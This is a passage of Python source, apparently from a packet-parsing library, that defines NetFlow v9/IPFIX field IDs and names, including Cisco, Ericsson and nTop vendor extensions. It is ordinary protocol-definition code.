_N910F(\"staMacAddress\", length=6,\n                field=MACField),\n    366: _N910F(\"staIPv4Address\", length=4,\n                field=IPField),\n    367: _N910F(\"wtpMacAddress\", length=6,\n                field=MACField),\n    368: _N910F(\"ingressInterfaceType\"),\n    369: _N910F(\"egressInterfaceType\"),\n    370: _N910F(\"rtpSequenceNumber\"),\n    371: _N910F(\"userName\"),\n    372: _N910F(\"applicationCategoryName\"),\n    373: _N910F(\"applicationSubCategoryName\"),\n    374: _N910F(\"applicationGroupName\"),\n    375: _N910F(\"originalFlowsPresent\"),\n    376: _N910F(\"originalFlowsInitiated\"),\n    377: _N910F(\"originalFlowsCompleted\"),\n    378: _N910F(\"distinctCountOfSourceIPAddress\"),\n    379: _N910F(\"distinctCountOfDestinationIPAddress\"),\n    380: _N910F(\"distinctCountOfSourceIPv4Address\", length=4,\n                field=IPField),\n    381: _N910F(\"distinctCountOfDestinationIPv4Address\", length=4,\n                field=IPField),\n    382: _N910F(\"distinctCountOfSourceIPv6Address\", length=16,\n                field=IP6Field),\n    383: _N910F(\"distinctCountOfDestinationIPv6Address\", length=16,\n                field=IP6Field),\n    384: _N910F(\"valueDistributionMethod\"),\n    385: _N910F(\"rfc3550JitterMilliseconds\"),\n    386: _N910F(\"rfc3550JitterMicroseconds\"),\n    387: _N910F(\"rfc3550JitterNanoseconds\"),\n    388: _N910F(\"dot1qDEI\"),\n    389: _N910F(\"dot1qCustomerDEI\"),\n    390: _N910F(\"flowSelectorAlgorithm\"),\n    391: _N910F(\"flowSelectedOctetDeltaCount\"),\n    392: _N910F(\"flowSelectedPacketDeltaCount\"),\n    393: _N910F(\"flowSelectedFlowDeltaCount\"),\n    394: _N910F(\"selectorIDTotalFlowsObserved\"),\n    395: _N910F(\"selectorIDTotalFlowsSelected\"),\n    396: _N910F(\"samplingFlowInterval\"),\n    397: _N910F(\"samplingFlowSpacing\"),\n    398: _N910F(\"flowSamplingTimeInterval\"),\n    399: _N910F(\"flowSamplingTimeSpacing\"),\n    400: _N910F(\"hashFlowDomain\"),\n    401: _N910F(\"transportOctetDeltaCount\"),\n    402: _N910F(\"transportPacketDeltaCount\"),\n    403: _N910F(\"originalExporterIPv4Address\", length=4,\n                field=IPField),\n    404: _N910F(\"originalExporterIPv6Address\", length=16,\n                field=IP6Field),\n    405: _N910F(\"originalObservationDomainId\"),\n    406: _N910F(\"intermediateProcessId\"),\n    407: _N910F(\"ignoredDataRecordTotalCount\"),\n    408: _N910F(\"dataLinkFrameType\"),\n    409: _N910F(\"sectionOffset\"),\n    410: _N910F(\"sectionExportedOctets\"),\n    411: _N910F(\"dot1qServiceInstanceTag\"),\n    412: _N910F(\"dot1qServiceInstanceId\"),\n    413: _N910F(\"dot1qServiceInstancePriority\"),\n    414: _N910F(\"dot1qCustomerSourceMacAddress\", length=6,\n                field=MACField),\n    415: _N910F(\"dot1qCustomerDestinationMacAddress\", length=6,\n                field=MACField),\n    416: _N910F(\"deprecated [dup of layer2OctetDeltaCount]\"),\n    417: _N910F(\"postLayer2OctetDeltaCount\"),\n    418: _N910F(\"postMCastLayer2OctetDeltaCount\"),\n    419: _N910F(\"deprecated [dup of layer2OctetTotalCount\"),\n    420: _N910F(\"postLayer2OctetTotalCount\"),\n    421: _N910F(\"postMCastLayer2OctetTotalCount\"),\n    422: _N910F(\"minimumLayer2TotalLength\"),\n    423: _N910F(\"maximumLayer2TotalLength\"),\n    424: _N910F(\"droppedLayer2OctetDeltaCount\"),\n    425: _N910F(\"droppedLayer2OctetTotalCount\"),\n    426: _N910F(\"ignoredLayer2OctetTotalCount\"),\n    427: _N910F(\"notSentLayer2OctetTotalCount\"),\n    428: _N910F(\"layer2OctetDeltaSumOfSquares\"),\n    429: _N910F(\"layer2OctetTotalSumOfSquares\"),\n    430: _N910F(\"layer2FrameDeltaCount\"),\n    431: _N910F(\"layer2FrameTotalCount\"),\n    432: _N910F(\"pseudoWireDestinationIPv4Address\", length=4,\n                field=IPField),\n    433: _N910F(\"ignoredLayer2FrameTotalCount\"),\n    434: _N910F(\"mibObjectValueInteger\"),\n    435: _N910F(\"mibObjectValueOctetString\"),\n    436: _N910F(\"mibObjectValueOID\"),\n    437: _N910F(\"mibObjectValueBits\"),\n    438: _N910F(\"mibObjectValueIPAddress\"),\n    439: _N910F(\"mibObjectValueCounter\"),\n    440: _N910F(\"mibObjectValueGauge\"),\n    441: _N910F(\"mibObjectValueTimeTicks\"),\n    442: _N910F(\"mibObjectValueUnsigned\"),\n    443: _N910F(\"mibObjectValueTable\"),\n    444: _N910F(\"mibObjectValueRow\"),\n    445: _N910F(\"mibObjectIdentifier\"),\n    446: _N910F(\"mibSubIdentifier\"),\n    447: _N910F(\"mibIndexIndicator\"),\n    448: _N910F(\"mibCaptureTimeSemantics\"),\n    449: _N910F(\"mibContextEngineID\"),\n    450: _N910F(\"mibContextName\"),\n    451: _N910F(\"mibObjectName\"),\n    452: _N910F(\"mibObjectDescription\"),\n    453: _N910F(\"mibObjectSyntax\"),\n    454: _N910F(\"mibModuleName\"),\n    455: _N910F(\"mobileIMSI\"),\n    456: _N910F(\"mobileMSISDN\"),\n    457: _N910F(\"httpStatusCode\"),\n    458: _N910F(\"sourceTransportPortsLimit\"),\n    459: _N910F(\"httpRequestMethod\"),\n    460: _N910F(\"httpRequestHost\"),\n    461: _N910F(\"httpRequestTarget\"),\n    462: _N910F(\"httpMessageVersion\"),\n    463: _N910F(\"natInstanceID\"),\n    464: _N910F(\"internalAddressRealm\"),\n    465: _N910F(\"externalAddressRealm\"),\n    466: _N910F(\"natQuotaExceededEvent\"),\n    467: _N910F(\"natThresholdEvent\"),\n    468: _N910F(\"httpUserAgent\"),\n    469: _N910F(\"httpContentType\"),\n    470: _N910F(\"httpReasonPhrase\"),\n    471: _N910F(\"maxSessionEntries\"),\n    472: _N910F(\"maxBIBEntries\"),\n    473: _N910F(\"maxEntriesPerUser\"),\n    474: _N910F(\"maxSubscribers\"),\n    475: _N910F(\"maxFragmentsPendingReassembly\"),\n    476: _N910F(\"addressPoolHighThreshold\"),\n    477: _N910F(\"addressPoolLowThreshold\"),\n    478: _N910F(\"addressPortMappingHighThreshold\"),\n    479: _N910F(\"addressPortMappingLowThreshold\"),\n    480: _N910F(\"addressPortMappingPerUserHighThreshold\"),\n    481: _N910F(\"globalAddressMappingHighThreshold\"),\n\n    # Ericsson NAT Logging\n    24628: _N910F(\"NAT_LOG_FIELD_IDX_CONTEXT_ID\"),\n    24629: _N910F(\"NAT_LOG_FIELD_IDX_CONTEXT_NAME\"),\n    24630: _N910F(\"NAT_LOG_FIELD_IDX_ASSIGN_TS_SEC\"),\n    24631: _N910F(\"NAT_LOG_FIELD_IDX_UNASSIGN_TS_SEC\"),\n    24632: _N910F(\"NAT_LOG_FIELD_IDX_IPV4_INT_ADDR\", length=4,\n                  field=IPField),\n    24633: _N910F(\"NAT_LOG_FIELD_IDX_IPV4_EXT_ADDR\", length=4,\n                  field=IPField),\n    24634: _N910F(\"NAT_LOG_FIELD_IDX_EXT_PORT_FIRST\"),\n    24635: _N910F(\"NAT_LOG_FIELD_IDX_EXT_PORT_LAST\"),\n    # Cisco ASA5500 Series NetFlow\n    33000: _N910F(\"INGRESS_ACL_ID\"),\n    33001: _N910F(\"EGRESS_ACL_ID\"),\n    33002: _N910F(\"FW_EXT_EVENT\"),\n    # Cisco TrustSec\n    34000: _N910F(\"SGT_SOURCE_TAG\"),\n    34001: _N910F(\"SGT_DESTINATION_TAG\"),\n    34002: _N910F(\"SGT_SOURCE_NAME\"),\n    34003: _N910F(\"SGT_DESTINATION_NAME\"),\n    # medianet performance monitor\n    37000: _N910F(\"PACKETS_DROPPED\"),\n    37003: _N910F(\"BYTE_RATE\"),\n    37004: _N910F(\"APPLICATION_MEDIA_BYTES\"),\n    37006: _N910F(\"APPLICATION_MEDIA_BYTE_RATE\"),\n    37007: _N910F(\"APPLICATION_MEDIA_PACKETS\"),\n    37009: _N910F(\"APPLICATION_MEDIA_PACKET_RATE\"),\n    37011: _N910F(\"APPLICATION_MEDIA_EVENT\"),\n    37012: _N910F(\"MONITOR_EVENT\"),\n    37013: _N910F(\"TIMESTAMP_INTERVAL\"),\n    37014: _N910F(\"TRANSPORT_PACKETS_EXPECTED\"),\n    37016: _N910F(\"TRANSPORT_ROUND_TRIP_TIME\"),\n    37017: _N910F(\"TRANSPORT_EVENT_PACKET_LOSS\"),\n    37019: _N910F(\"TRANSPORT_PACKETS_LOST\"),\n    37021: _N910F(\"TRANSPORT_PACKETS_LOST_RATE\"),\n    37022: _N910F(\"TRANSPORT_RTP_SSRC\"),\n    37023: _N910F(\"TRANSPORT_RTP_JITTER_MEAN\"),\n    37024: _N910F(\"TRANSPORT_RTP_JITTER_MIN\"),\n    37025: _N910F(\"TRANSPORT_RTP_JITTER_MAX\"),\n    37041: _N910F(\"TRANSPORT_RTP_PAYLOAD_TYPE\"),\n    37071: _N910F(\"TRANSPORT_BYTES_OUT_OF_ORDER\"),\n    37074: _N910F(\"TRANSPORT_PACKETS_OUT_OF_ORDER\"),\n    37083: _N910F(\"TRANSPORT_TCP_WINDOWS_SIZE_MIN\"),\n    37084: _N910F(\"TRANSPORT_TCP_WINDOWS_SIZE_MAX\"),\n    37085: _N910F(\"TRANSPORT_TCP_WINDOWS_SIZE_MEAN\"),\n    37086: _N910F(\"TRANSPORT_TCP_MAXIMUM_SEGMENT_SIZE\"),\n    # Cisco ASA 5500\n    40000: _N910F(\"AAA_USERNAME\"),\n    40001: _N910F(\"XLATE_SRC_ADDR_IPV4\", length=4,\n                  field=IPField),\n    40002: _N910F(\"XLATE_DST_ADDR_IPV4\", length=4,\n                  field=IPField),\n    40003: _N910F(\"XLATE_SRC_PORT\"),\n    40004: _N910F(\"XLATE_DST_PORT\"),\n    40005: _N910F(\"FW_EVENT\"),\n    # v9 nTop extensions\n    80 + NTOP_BASE: _N910F(\"SRC_FRAGMENTS\"),\n    81 + NTOP_BASE: _N910F(\"DST_FRAGMENTS\"),\n    82 + NTOP_BASE: _N910F(\"SRC_TO_DST_MAX_THROUGHPUT\"),\n    83 + NTOP_BASE: _N910F(\"SRC_TO_DST_MIN_THROUGHPUT\"),\n    84 + NTOP_BASE: _N910F(\"SRC_TO_DST_AVG_THROUGHPUT\"),\n    85 + NTOP_BASE: _N910F(\"SRC_TO_SRC_MAX_THROUGHPUT\"),\n    86 + NTOP_BASE: _N910F(\"SRC_TO_SRC_MIN_THROUGHPUT\"),\n    87 + NTOP_BASE: _N910F(\"SRC_TO_SRC_AVG_THROUGHPUT\"),\n    88 + NTOP_BASE: _N910F(\"NUM_PKTS_UP_TO_128_BYTES\"),\n    89 + NTOP_BASE: _N910F(\"NUM_PKTS_128_TO_256_BYTES\"),\n    90 + NTOP_BASE: _N910F(\"NUM_PKTS_256_TO_512_BYTES\"),\n    91 + NTOP_BASE: _N910F(\"NUM_PKTS_512_TO_1024_BYTES\"),\n    92 + NTOP_BASE: _N910F(\"NUM_PKTS_1024_TO_1514_BYTES\"),\n    93 + NTOP_BASE: _N910F(\"NUM_PKTS_OVER_1514_BYTES\"),\n    98 + NTOP_BASE: _N910F(\"CUMULATIVE_ICMP_TYPE\"),\n    101 + NTOP_BASE: _N910F(\"SRC_IP_COUNTRY\"),\n    102 + NTOP_BASE: _N910F(\"SRC_IP_CITY\"),\n    103 + NTOP_BASE: _N910F(\"DST_IP_COUNTRY\"),\n    104 + NTOP_BASE: _N910F(\"DST_IP_CITY\"),\n    105 + NTOP_BASE: _N910F(\"FLOW_PROTO_PORT\"),\n    106 + NTOP_BASE: _N910F(\"UPSTREAM_TUNNEL_ID\"),\n    107 + NTOP_BASE: _N910F(\"LONGEST_FLOW_PKT\"),\n    108 + NTOP_BASE: _N910F(\"SHORTEST_FLOW_PKT\"),\n    109 + NTOP_BASE: _N910F(\"RETRANSMITTED_IN_PKTS\"),\n    110 + NTOP_BASE: _N910F(\"RETRANSMITTED_OUT_PKTS\"),\n    111 + NTOP_BASE: _N910F(\"OOORDER_IN_PKTS\"),\n    112 + NTOP_BASE: _N910F(\"OOORDER_OUT_PKTS\"),\n    113 + NTOP_BASE: _N910F(\"UNTUNNELED_PROTOCOL\"),\n    114 + NTOP_BASE: _N910F(\"UNTUNNELED_IPV4_SRC_ADDR\", length=4,\n                            field=IPField),\n    115 + NTOP_BASE: _N910F(\"UNTUNNELED_L4_SRC_PORT\"),\n    116 + NTOP_BASE: _N910F(\"UNTUNNELED_IPV4_DST_ADDR\", length=4,\n                            field=IPField),\n    117 + NTOP_BASE: _N910F(\"UNTUNNELED_L4_DST_PORT\"),\n    118 + NTOP_BASE: _N910F(\"L7_PROTO\"),\n    119 + NTOP_BASE: _N910F(\"L7_PROTO_NAME\"),\n    120 + NTOP_BASE: _N910F(\"DOWNSTREAM_TUNNEL_ID\"),\n    121 + NTOP_BASE: _N910F(\"FLOW_USER_NAME\"),\n    122 + NTOP_BASE: _N910F(\"FLOW_SERVER_NAME\"),\n    123 + NTOP_BASE: _N910F(\"CLIENT_NW_LATENCY_MS\"),\n    124 + NTOP_BASE: _N910F(\"SERVER_NW_LATENCY_MS\"),\n    125 + NTOP_BASE: _N910F(\"APPL_LATENCY_MS\"),\n    126 + NTOP_BASE: _N910F(\"PLUGIN_NAME\"),\n    127 + NTOP_BASE: _N910F(\"RETRANSMITTED_IN_BYTES\"),\n    128 + NTOP_BASE: _N910F(\"RETRANSMITTED_OUT_BYTES\"),\n    130 + NTOP_BASE: _N910F(\"SIP_CALL_ID\"),\n    131 + NTOP_BASE: _N910F(\"SIP_CALLING_PARTY\"),\n    132 + NTOP_BASE: _N910F(\"SIP_CALLED_PARTY\"),\n    133 + NTOP_BASE: _N910F(\"SIP_RTP_CODECS\"),\n    134 + NTOP_BASE: _N910F(\"SIP_INVITE_TIME\"),\n    135 + NTOP_BASE: _N910F(\"SIP_TRYING_TIME\"),\n    136 + NTOP_BASE: _N910F(\"SIP_RINGING_TIME\"),\n    137 + NTOP_BASE: _N910F(\"SIP_INVITE_OK_TIME\"),\n    138 + NTOP_BASE: _N910F(\"SIP_INVITE_FAILURE_TIME\"),\n    139 + NTOP_BASE: _N910F(\"SIP_BYE_TIME\"),\n    140 + NTOP_BASE: _N910F(\"SIP_BYE_OK_TIME\"),\n    141 + NTOP_BASE: _N910F(\"SIP_CANCEL_TIME\"),\n    142 + NTOP_BASE: _N910F(\"SIP_CANCEL_OK_TIME\"),\n    143 + NTOP_BASE: _N910F(\"SIP_RTP_IPV4_SRC_ADDR\", length=4,\n                            field=IPField),\n    144 + NTOP_BASE: _N910F(\"SIP_RTP_L4_SRC_PORT\"),\n    145 + NTOP_BASE: _N910F(\"SIP_RTP_IPV4_DST_ADDR\", length=4,\n                            field=IPField),\n    146 + NTOP_BASE: _N910F(\"SIP_RTP_L4_DST_PORT\"),\n    147 + NTOP_BASE: _N910F(\"SIP_RESPONSE_CODE\"),\n    148 + NTOP_BASE: _N910F(\"SIP_REASON_CAUSE\"),\n    150 + NTOP_BASE: _N910F(\"RTP_FIRST_SEQ\"),\n    151 + NTOP_BASE: _N910F(\"RTP_FIRST_TS\"),\n    152 + NTOP_BASE: _N910F(\"RTP_LAST_SEQ\"),\n    153 + NTOP_BASE: _N910F(\"RTP_LAST_TS\"),\n    154 + NTOP_BASE: _N910F(\"RTP_IN_JITTER\"),\n    155 + NTOP_BASE: _N910F(\"RTP_OUT_JITTER\"),\n    156 + NTOP_BASE: _N910F(\"RTP_IN_PKT_LOST\"),\n    157 + NTOP_BASE: _N910F(\"RTP_OUT_PKT_LOST\"),\n    158 + NTOP_BASE: _N910F(\"RTP_OUT_PAYLOAD_TYPE\"),\n    159 + NTOP_BASE: _N910F(\"RTP_IN_MAX_DELTA\"),\n    160 + NTOP_BASE: _N910F(\"RTP_OUT_MAX_DELTA\"),\n    161 + NTOP_BASE: _N910F(\"RTP_IN_PAYLOAD_TYPE\"),\n    168 + NTOP_BASE: _N910F(\"SRC_PROC_PID\"),\n    169 + NTOP_BASE: _N910F(\"SRC_PROC_NAME\"),\n    180 + NTOP_BASE: _N910F(\"HTTP_URL\"),\n    181 + NTOP_BASE: _N910F(\"HTTP_RET_CODE\"),\n    182 + NTOP_BASE: _N910F(\"HTTP_REFERER\"),\n    183 + NTOP_BASE: _N910F(\"HTTP_UA\"),\n    184 + NTOP_BASE: _N910F(\"HTTP_MIME\"),\n    185 + NTOP_BASE: _N910F(\"SMTP_MAIL_FROM\"),\n    186 + NTOP_BASE: _N910F(\"SMTP_RCPT_TO\"),\n    187 + NTOP_BASE: _N910F(\"HTTP_HOST\"),\n    188 + NTOP_BASE: _N910F(\"SSL_SERVER_NAME\"),\n    189 + NTOP_BASE: _N910F(\"BITTORRENT_HASH\"),\n    195 + NTOP_BASE: _N910F(\"MYSQL_SRV_VERSION\"),\n    196 + NTOP_BASE: _N910F(\"MYSQL_USERNAME\"),\n    197 + NTOP_BASE: _N910F(\"MYSQL_DB\"),\n    198 + NTOP_BASE: _N910F(\"MYSQL_QUERY\"),\n    199 + NTOP_BASE: _N910F(\"MYSQL_RESPONSE\"),\n    200 + NTOP_BASE: _N910F(\"ORACLE_USERNAME\"),\n    201 + NTOP_BASE: _N910F(\"ORACLE_QUERY\"),\n    202 + NTOP_BASE: _N910F(\"ORACLE_RSP_CODE\"),\n    203 + NTOP_BASE: _N910F(\"ORACLE_RSP_STRING\"),\n    204 + NTOP_BASE: _N910F(\"ORACLE_QUERY_DURATION\"),\n    205 + NTOP_BASE: _N910F(\"DNS_QUERY\"),\n    206 + NTOP_BASE: _N910F(\"DNS_QUERY_ID\"),\n    207 + NTOP_BASE: _N910F(\"DNS_QUERY_TYPE\"),\n    208 + NTOP_BASE: _N910F(\"DNS_RET_CODE\"),\n    209 + NTOP_BASE: _N910F(\"DNS_NUM_ANSWERS\"),\n    210 + NTOP_BASE: _N910F(\"POP_USER\"),\n    220 + NTOP_BASE: _N910F(\"GTPV1_REQ_MSG_TYPE\"),\n    221 + NTOP_BASE: _N910F(\"GTPV1_RSP_MSG_TYPE\"),\n    222 + NTOP_BASE: _N910F(\"GTPV1_C2S_TEID_DATA\"),\n    223 + NTOP_BASE: _N910F(\"GTPV1_C2S_TEID_CTRL\"),\n    224 + NTOP_BASE: _N910F(\"GTPV1_S2C_TEID_DATA\"),\n    225 + NTOP_BASE: _N910F(\"GTPV1_S2C_TEID_CTRL\"),\n    226 + NTOP_BASE: _N910F(\"GTPV1_END_USER_IP\"),\n    227 + NTOP_BASE: _N910F(\"GTPV1_END_USER_IMSI\"),\n    228 + NTOP_BASE: _N910F(\"GTPV1_END_USER_MSISDN\"),\n    229 + NTOP_BASE: _N910F(\"GTPV1_END_USER_IMEI\"),\n    230 + NTOP_BASE: _N910F(\"GTPV1_APN_NAME\"),\n    231 + NTOP_BASE: _N910F(\"GTPV1_RAI_MCC\"),\n    232 + NTOP_BASE: _N910F(\"GTPV1_RAI_MNC\"),\n    233 + NTOP_BASE: _N910F(\"GTPV1_ULI_CELL_LAC\"),\n    234 + NTOP_BASE: _N910F(\"GTPV1_ULI_CELL_CI\"),\n    235 + NTOP_BASE: _N910F(\"GTPV1_ULI_SAC\"),\n    236 + NTOP_BASE: _N910F(\"GTPV1_RAT_TYPE\"),\n    240 + NTOP_BASE: _N910F(\"RADIUS_REQ_MSG_TYPE\"),\n    241 + NTOP_BASE: _N910F(\"RADIUS_RSP_MSG_TYPE\"),\n    242 + NTOP_BASE: _N910F(\"RADIUS_USER_NAME\"),\n    243 + NTOP_BASE: _N910F(\"RADIUS_CALLING_STATION_ID\"),\n    244 + NTOP_BASE: _N910F(\"RADIUS_CALLED_STATION_ID\"),\n    245 + NTOP_BASE: _N910F(\"RADIUS_NAS_IP_ADDR\"),\n    246 + NTOP_BASE: _N910F(\"RADIUS_NAS_IDENTIFIER\"),\n    247 + NTOP_BASE: _N910F(\"RADIUS_USER_IMSI\"),\n    248 + NTOP_BASE: _N910F(\"RADIUS_USER_IMEI\"),\n    249 + NTOP_BASE: _N910F(\"RADIUS_FRAMED_IP_ADDR\"),\n    250 + NTOP_BASE: _N910F(\"RADIUS_ACCT_SESSION_ID\"),\n    251 + NTOP_BASE: _N910F(\"RADIUS_ACCT_STATUS_TYPE\"),\n    252 + NTOP_BASE: _N910F(\"RADIUS_ACCT_IN_OCTETS\"),\n    253 + NTOP_BASE: _N910F(\"RADIUS_ACCT_OUT_OCTETS\"),\n    254 + NTOP_BASE: _N910F(\"RADIUS_ACCT_IN_PKTS\"),\n    255 + NTOP_BASE: _N910F(\"RADIUS_ACCT_OUT_PKTS\"),\n    260 + NTOP_BASE: _N910F(\"IMAP_LOGIN\"),\n    270 + NTOP_BASE: _N910F(\"GTPV2_REQ_MSG_TYPE\"),\n    271 + NTOP_BASE: _N910F(\"GTPV2_RSP_MSG_TYPE\"),\n    272 + NTOP_BASE: _N910F(\"GTPV2_C2S_S1U_GTPU_TEID\"),\n    273 + NTOP_BASE: _N910F(\"GTPV2_C2S_S1U_GTPU_IP\"),\n    274 + NTOP_BASE: _N910F(\"GTPV2_S2C_S1U_GTPU_TEID\"),\n    275 + NTOP_BASE: _N910F(\"GTPV2_S2C_S1U_GTPU_IP\"),\n    276 + NTOP_BASE: _N910F(\"GTPV2_END_USER_IMSI\"),\n    277 + NTOP_BASE: _N910F(\"GTPV2_END_USER_MSISDN\"),\n    278 + NTOP_BASE: _N910F(\"GTPV2_APN_NAME\"),\n    279 + NTOP_BASE: _N910F(\"GTPV2_ULI_MCC\"),\n    280 + NTOP_BASE: _N910F(\"GTPV2_ULI_MNC\"),\n    281 + NTOP_BASE: _N910F(\"GTPV2_ULI_CELL_TAC\"),\n    282 + NTOP_BASE: _N910F(\"GTPV2_ULI_CELL_ID\"),\n    283 + NTOP_BASE: _N910F(\"GTPV2_RAT_TYPE\"),\n    284 + NTOP_BASE: _N910F(\"GTPV2_PDN_IP\"),\n    285 + NTOP_BASE: _N910F(\"GTPV2_END_USER_IMEI\"),\n    290 + NTOP_BASE: _N910F(\"SRC_AS_PATH_1\"),\n    291 + NTOP_BASE: _N910F(\"SRC_AS_PATH_2\"),\n    292 + NTOP_BASE: _N910F(\"SRC_AS_PATH_3\"),\n    293 + NTOP_BASE: _N910F(\"SRC_AS_PATH_4\"),\n    294 + NTOP_BASE: _N910F(\"SRC_AS_PATH_5\"),\n    295 + NTOP_BASE: _N910F(\"SRC_AS_PATH_6\"),\n    296 + NTOP_BASE: _N910F(\"SRC_AS_PATH_7\"),\n    297 + NTOP_BASE: _N910F(\"SRC_AS_PATH_8\"),\n    298 + NTOP_BASE: _N910F(\"SRC_AS_PATH_9\"),\n    299 + NTOP_BASE: _N910F(\"SRC_AS_PATH_10\"),\n    300 + NTOP_BASE: _N910F(\"DST_AS_PATH_1\"),\n    301 + NTOP_BASE: _N910F(\"DST_AS_PATH_2\"),\n    302 + NTOP_BASE: _N910F(\"DST_AS_PATH_3\"),\n    303 + NTOP_BASE: _N910F(\"DST_AS_PATH_4\"),\n    304 + NTOP_BASE: _N910F(\"DST_AS_PATH_5\"),\n    305 + NTOP_BASE: _N910F(\"DST_AS_PATH_6\"),\n    306 + NTOP_BASE: _N910F(\"DST_AS_PATH_7\"),\n    307 + NTOP_BASE: _N910F(\"DST_AS_PATH_8\"),\n    308 + NTOP_BASE: _N910F(\"DST_AS_PATH_9\"),\n    309 + NTOP_BASE: _N910F(\"DST_AS_PATH_10\"),\n    320 + NTOP_BASE: _N910F(\"MYSQL_APPL_LATENCY_USEC\"),\n    321 + NTOP_BASE: _N910F(\"GTPV0_REQ_MSG_TYPE\"),\n    322 + NTOP_BASE: _N910F(\"GTPV0_RSP_MSG_TYPE\"),\n    323 + NTOP_BASE: _N910F(\"GTPV0_TID\"),\n    324 + NTOP_BASE: _N910F(\"GTPV0_END_USER_IP\"),\n    325 + NTOP_BASE: _N910F(\"GTPV0_END_USER_MSISDN\"),\n    326 + NTOP_BASE: _N910F(\"GTPV0_APN_NAME\"),\n    327 + NTOP_BASE: _N910F(\"GTPV0_RAI_MCC\"),\n    328 + NTOP_BASE: _N910F(\"GTPV0_RAI_MNC\"),\n    329 + NTOP_BASE: _N910F(\"GTPV0_RAI_CELL_LAC\"),\n    330 + NTOP_BASE: _N910F(\"GTPV0_RAI_CELL_RAC\"),\n    331 + NTOP_BASE: _N910F(\"GTPV0_RESPONSE_CAUSE\"),\n    332 + NTOP_BASE: _N910F(\"GTPV1_RESPONSE_CAUSE\"),\n    333 + NTOP_BASE: _N910F(\"GTPV2_RESPONSE_CAUSE\"),\n    334 + NTOP_BASE: _N910F(\"NUM_PKTS_TTL_5_32\"),\n    335 + NTOP_BASE: _N910F(\"NUM_PKTS_TTL_32_64\"),\n    336 + NTOP_BASE: _N910F(\"NUM_PKTS_TTL_64_96\"),\n    337 + NTOP_BASE: _N910F(\"NUM_PKTS_TTL_96_128\"),\n    338 + NTOP_BASE: _N910F(\"NUM_PKTS_TTL_128_160\"),\n    339 + NTOP_BASE: _N910F(\"NUM_PKTS_TTL_160_192\"),\n    340 + NTOP_BASE: _N910F(\"NUM_PKTS_TTL_192_224\"),\n    341 + NTOP_BASE: _N910F(\"NUM_PKTS_TTL_224_255\"),\n    342 + NTOP_BASE: _N910F(\"GTPV1_RAI_LAC\"),\n    343 + NTOP_BASE: _N910F(\"GTPV1_RAI_RAC\"),\n    344 + NTOP_BASE: _N910F(\"GTPV1_ULI_MCC\"),\n    345 + NTOP_BASE: _N910F(\"GTPV1_ULI_MNC\"),\n    346 + NTOP_BASE: _N910F(\"NUM_PKTS_TTL_2_5\"),\n    347 + NTOP_BASE: _N910F(\"NUM_PKTS_TTL_EQ_1\"),\n    348 + NTOP_BASE: _N910F(\"RTP_SIP_CALL_ID\"),\n    349 + NTOP_BASE: _N910F(\"IN_SRC_OSI_SAP\"),\n    350 + NTOP_BASE: _N910F(\"OUT_DST_OSI_SAP\"),\n    351 + NTOP_BASE: _N910F(\"WHOIS_DAS_DOMAIN\"),\n    352 + NTOP_BASE: _N910F(\"DNS_TTL_ANSWER\"),\n    353 + NTOP_BASE: _N910F(\"DHCP_CLIENT_MAC\", length=6,\n                            field=MACField),\n    354 + NTOP_BASE: _N910F(\"DHCP_CLIENT_IP\", length=4,\n                            field=IPField),\n    355 + NTOP_BASE: _N910F(\"DHCP_CLIENT_NAME\"),\n    356 + NTOP_BASE: _N910F(\"FTP_LOGIN\"),\n    357 + NTOP_BASE: _N910F(\"FTP_PASSWORD\"),\n    358 + NTOP_BASE: _N910F(\"FTP_COMMAND\"),\n    359 + NTOP_BASE: _N910F(\"FTP_COMMAND_RET_CODE\"),\n    360 + NTOP_BASE: _N910F(\"HTTP_METHOD\"),\n    361 + NTOP_BASE: _N910F(\"HTTP_SITE\"),\n    362 + NTOP_BASE: _N910F(\"SIP_C_IP\"),\n    363 + NTOP_BASE: _N910F(\"SIP_CALL_STATE\"),\n    364 + NTOP_BASE: _N910F(\"EPP_REGISTRAR_NAME\"),\n    365 + NTOP_BASE: _N910F(\"EPP_CMD\"),\n    366 + NTOP_BASE: _N910F(\"EPP_CMD_ARGS\"),\n    367 + NTOP_BASE: _N910F(\"EPP_RSP_CODE\"),\n    368 + NTOP_BASE: _N910F(\"EPP_REASON_STR\"),\n    369 + NTOP_BASE: _N910F(\"EPP_SERVER_NAME\"),\n    370 + NTOP_BASE: _N910F(\"RTP_IN_MOS\"),\n    371 + NTOP_BASE: _N910F(\"RTP_IN_R_FACTOR\"),\n    372 + NTOP_BASE: _N910F(\"SRC_PROC_USER_NAME\"),\n    373 + NTOP_BASE: _N910F(\"SRC_FATHER_PROC_PID\"),\n    374 + NTOP_BASE: _N910F(\"SRC_FATHER_PROC_NAME\"),\n    375 + NTOP_BASE: _N910F(\"DST_PROC_PID\"),\n    376 + NTOP_BASE: _N910F(\"DST_PROC_NAME\"),\n    377 + NTOP_BASE: _N910F(\"DST_PROC_USER_NAME\"),\n    378 + NTOP_BASE: _N910F(\"DST_FATHER_PROC_PID\"),\n    379 + NTOP_BASE: _N910F(\"DST_FATHER_PROC_NAME\"),\n    380 + NTOP_BASE: _N910F(\"RTP_RTT\"),\n    381 + NTOP_BASE: _N910F(\"RTP_IN_TRANSIT\"),\n    382 + NTOP_BASE: _N910F(\"RTP_OUT_TRANSIT\"),\n    383 + NTOP_BASE: _N910F(\"SRC_PROC_ACTUAL_MEMORY\"),\n    384 + NTOP_BASE: _N910F(\"SRC_PROC_PEAK_MEMORY\"),\n    385 + NTOP_BASE: _N910F(\"SRC_PROC_AVERAGE_CPU_LOAD\"),\n    386 + NTOP_BASE: _N910F(\"SRC_PROC_NUM_PAGE_FAULTS\"),\n    387 + NTOP_BASE: _N910F(\"DST_PROC_ACTUAL_MEMORY\"),\n    388 + NTOP_BASE: _N910F(\"DST_PROC_PEAK_MEMORY\"),\n    389 + NTOP_BASE: _N910F(\"DST_PROC_AVERAGE_CPU_LOAD\"),\n    390 + NTOP_BASE: _N910F(\"DST_PROC_NUM_PAGE_FAULTS\"),\n    391 + NTOP_BASE: _N910F(\"DURATION_IN\"),\n    392 + NTOP_BASE: _N910F(\"DURATION_OUT\"),\n    393 + NTOP_BASE: _N910F(\"SRC_PROC_PCTG_IOWAIT\"),\n    394 + NTOP_BASE: _N910F(\"DST_PROC_PCTG_IOWAIT\"),\n    395 + NTOP_BASE: _N910F(\"RTP_DTMF_TONES\"),\n    396 + NTOP_BASE: _N910F(\"UNTUNNELED_IPV6_SRC_ADDR\", length=16,\n                            field=IP6Field),\n    397 + NTOP_BASE: _N910F(\"UNTUNNELED_IPV6_DST_ADDR\", length=16,\n                            field=IP6Field),\n    398 + NTOP_BASE: _N910F(\"DNS_RESPONSE\"),\n    399 + 